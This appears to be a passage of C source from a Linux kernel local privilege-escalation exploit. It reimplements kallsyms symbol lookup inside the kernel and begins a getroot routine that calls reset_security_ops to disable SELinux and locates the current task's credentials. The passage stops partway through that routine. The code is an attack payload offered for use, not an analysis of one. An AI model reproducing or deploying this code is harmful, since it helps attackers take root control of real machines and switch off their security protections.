#define KSYM_NAME_LEN 128
inline static int kstrcmp(const char *x, const char *y)
{
for (;*x == *y; x++, y++)
if (!*x)
return 0;
return -1;
}
/*
* kallsyms.c: in-kernel printing of symbolic oopses and stack traces.
*
* Rewritten and vastly simplified by Rusty Russell for in-kernel
* module loader:
* Copyright 2002 Rusty Russell <rusty () rustcorp com au> IBM Corporation
*
* ChangeLog:
*
* (25/Aug/2004) Paulo Marques <pmarques () grupopie com>
* Changed the compression method from stem compression to "table lookup"
* compression (see scripts/kallsyms.c for a more complete description)
*/
inline static unsigned int kallsyms_expand_symbol(struct kallsyms *ks, unsigned int off, char *result)
{
int len, skipped_first = 0;
const unsigned char *tptr, *data;
/* Get the compressed symbol length from the first symbol byte. */
data = &ks->names[off];
len = *data;
data++;
/*
* Update the offset to return the offset for the next symbol on
* the compressed stream.
*/
off += len + 1;
/*
* For every byte on the compressed symbol data, copy the table
* entry for that byte.
*/
while (len) {
tptr = &ks->token_table[ks->token_index[*data]];
data++;
len--;
while (*tptr) {
if (skipped_first) {
*result = *tptr;
result++;
} else
skipped_first = 1;
tptr++;
}
}
*result = '\0';
/* Return to offset to the next symbol. */
return off;
}
inline static unsigned long kdlsym(struct kallsyms *ks, char *name)
{
char namebuf[KSYM_NAME_LEN];
unsigned long i;
unsigned int off;
for (i = 0, off = 0; i < ks->num_syms; i++) {
off = kallsyms_expand_symbol(ks, off, namebuf);
if (kstrcmp(namebuf, name) == 0)
return ks->addresses[i];
}
return 0;
}
__used __kernel long getroot(long uid, long gid)
{
int i;
unsigned long cred;
int *j = NULL;
int k;
char *p;
struct kallsyms ks;
unsigned long task_struct = 0;
long ret = init_kallsyms(&ks);
if (ret > 0) {
void (*fn)(void);
__kernel void *(*fn1)(void*);
unsigned long task_offset;
char fnops[] = "reset_security_ops";
char fntask[] = "current_task";
char fncred[] = "get_task_cred";
// SELINUX is overrated..
fn = (void*)kdlsym(&ks, fnops);
if (fn) fn();
// Get a more reliable offset to current_task if we can
task_offset = kdlsym(&ks, fntask);
if (task_offset)
#ifdef __x86_64__
asm("mov %%gs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));
#else
asm("mov %%fs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));
#endif
else
task_struct = gettask();
if (!task_struct)
return -4;